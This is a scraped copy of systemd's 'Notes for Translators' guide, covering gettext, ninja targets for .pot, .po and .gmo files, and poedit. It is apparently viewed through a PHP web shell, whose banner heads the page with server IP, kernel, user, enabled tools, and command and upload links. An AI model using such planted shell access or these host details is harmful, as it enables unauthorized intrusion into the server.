|
Server IP : 128.199.20.84 / Your IP : 172.71.255.5 Web Server : Apache/2.4.41 (Ubuntu) System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64 User : www-data ( 33) PHP Version : 8.0.20 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /usr/share/doc/python3-certbot-apache/../python3-hyperlink/../systemd/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
---
title: Notes for Translators
category: Contributing
layout: default
---
# Notes for Translators
systemd depends on the `gettext` package for multilingual support.
You'll find the i18n files in the `po/` directory.
The build system (meson/ninja) can be used to generate a template (`*.pot`),
which can be used to create new translations.
It can also merge the template into the existing translations (`*.po`), to pick
up new strings in need of translation.
Finally, it is able to compile the translations (to `*.gmo` files), so that
they can be used by systemd software. (This step is also useful to confirm the
syntax of the `*.po` files is correct.)
## Creating a New Translation
To create a translation to a language not yet available, start by creating the
initial template:
```
$ ninja -C build/ systemd-pot
```
This will generate file `po/systemd.pot` in the source tree.
Then simply copy it to a new <code><i>${lang_code}</i>.po</code> file, where
<code><i>${lang_code}</i></code> is the two-letter code for a language
(possibly followed by a two-letter uppercase country code), according to the
ISO 639 standard.
In short:
<pre>
$ cp po/systemd.pot po/<i>${lang_code}</i>.po
</pre>
Then edit the new <code>po/<i>${lang_code}</i>.po</code> file (for example,
using the `poedit` GUI editor.)
## Updating an Existing Translation
Start by updating the `*.po` files from the latest template:
```
$ ninja -C build/ systemd-update-po
```
This will touch all the `*.po` files, so you'll want to pay attention when
creating a git commit from this change, to only include the one translation
you're actually updating.
Edit the `*.po` file, looking for empty translations and translations marked as
"fuzzy" (which means the merger found a similar message that needs to be
reviewed as it's expected not to match exactly.)
You can use any text editor to update the `*.po` files, but a good choice is
the `poedit` editor, a graphical application specifically designed for this
purpose.
Once you're done, create a git commit for the update of the `po/*.po` file you
touched. Remember to undo the changes to the other `*.po` files (for instance,
using `git checkout -- po/` after you commit the changes you do want to keep.)
## Recompiling Translations
You can recompile the `*.po` files using the following command:
```
$ ninja -C build/ systemd-gmo
```
The resulting files will be saved in the `build/po/` directory.